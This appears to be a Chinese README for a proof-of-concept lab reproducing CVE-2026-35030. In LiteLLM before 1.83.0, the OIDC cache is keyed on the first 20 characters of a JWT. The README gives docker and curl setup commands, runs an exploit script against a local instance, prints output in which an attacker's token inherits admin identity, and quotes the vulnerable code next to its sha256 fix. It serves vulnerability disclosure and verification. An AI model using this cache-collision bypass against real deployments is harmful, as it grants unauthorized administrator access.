# 存在漏洞的代码（1.83.0 之前）
cache_key = token[:20]   # 仅使用前 20 个字符！

<header>.<payload>.<signature>

1. 管理员认证 → LiteLLM 获取用户信息 → 以 key = token[:20] 缓存
                                                             ↑
2. 攻击者使用相同算法（RS256）构造 JWT ────────────────────┘
   → token[:20] 完全一致 → 缓存命中 → 继承管理员身份

# 1. 构建并启动存在漏洞的 LiteLLM + 模拟 OIDC 提供者
docker compose up -d --build

# 2. 安装 Python 依赖
pip install -r requirements.txt

# 3. 创建测试用户（JWT 认证需要 — 需要 master 密钥）
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "attacker", "role": "proxy_admin"}'

# 4. 演示缓存键碰撞
python3 exploit/exploit.py --mode demo

# 5. 运行完整漏洞利用（通过缓存碰撞实现认证绕过）
python3 exploit/exploit.py --mode exploit --target http://localhost:4000

# 6. （可选）验证在 v1.83.0+ 中已修复
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed

[+] 管理员的 JWT（subject=admin）:
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[+] 攻击者的 JWT（subject=attacker）:
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[🔥] 碰撞：两个令牌共享相同的前 20 个字符！
    原因：两个令牌都使用 RS256 签名 → 相同的 JWT 头部 base64 → 相同的前 20 个字符
    → cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'

[VULNERABLE] 漏洞利用尝试 — 目标：http://localhost:4000

[*] 第1步：从 OIDC 提供者获取 JWT...
    Prefix collision: True

[*] 第2步：向 LiteLLM 发送管理员的 JWT（填充 OIDC 缓存）...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] 第3步：发送攻击者的 JWT（缓存碰撞尝试）...
    HTTP 200
    Response: {"user_id": "admin", ...}   ← 继承了管理员身份！

[🔥] 漏洞利用成功！攻击者继承了管理员身份！
        攻击者的 token[:20] 匹配了管理员的缓存键。
        响应 user_id='admin'（预期 'admin' 表示权限提升）

[FIXED] 漏洞利用尝试 — 目标：http://localhost:4001

[*] 第1步：从 OIDC 提供者获取 JWT...
    Prefix collision: True

[*] 第2步：向 LiteLLM 发送管理员的 JWT（填充 OIDC 缓存）...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] 第3步：发送攻击者的 JWT（缓存碰撞尝试）...
    HTTP 200
    Response: {"user_id": "attacker", ...}   ← 保留了自身身份

    [+] 攻击者的身份被识别为 user_id='attacker'。
        修复版本：缓存碰撞已阻止。

# 存在漏洞（1.83.0 之前）— litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}"   # 仅使用前 20 个字符！
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
    return cached_userinfo  # 缓存命中 → 跳过获取用户信息！

# 修复版本（v1.83.0+）— 同一文件，第625行
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"

CVE-2026-35030/
├── README.md                    # 本文件
├── docker-compose.yml           # 存在漏洞的 + 修复的 LiteLLM + 模拟 OIDC
├── litellm_config.yaml          # 启用了 JWT 认证的 LiteLLM 配置
├── requirements.txt             # Python 依赖（PoC）
├── litellm-vuln/
│   └── Dockerfile               # 存在漏洞的 LiteLLM v1.82.5（含企业补丁）
├── litellm-fixed/
│   └── Dockerfile               # 修复的 LiteLLM v1.83.0+（sha256 缓存键）
├── oidc-provider/
│   ├── Dockerfile               # 模拟 OIDC 提供者镜像
│   ├── requirements.txt
│   └── server.py                # OIDC 模拟（FastAPI）
├── exploit/
│   ├── exploit.py               # 主 PoC 漏洞利用脚本
│   └── token_forge.py           # JWT 碰撞工具
├── docs/
│   └── advisory.md              # 安全公告参考
└── screenshots/
    └── README.md                # 截图占位符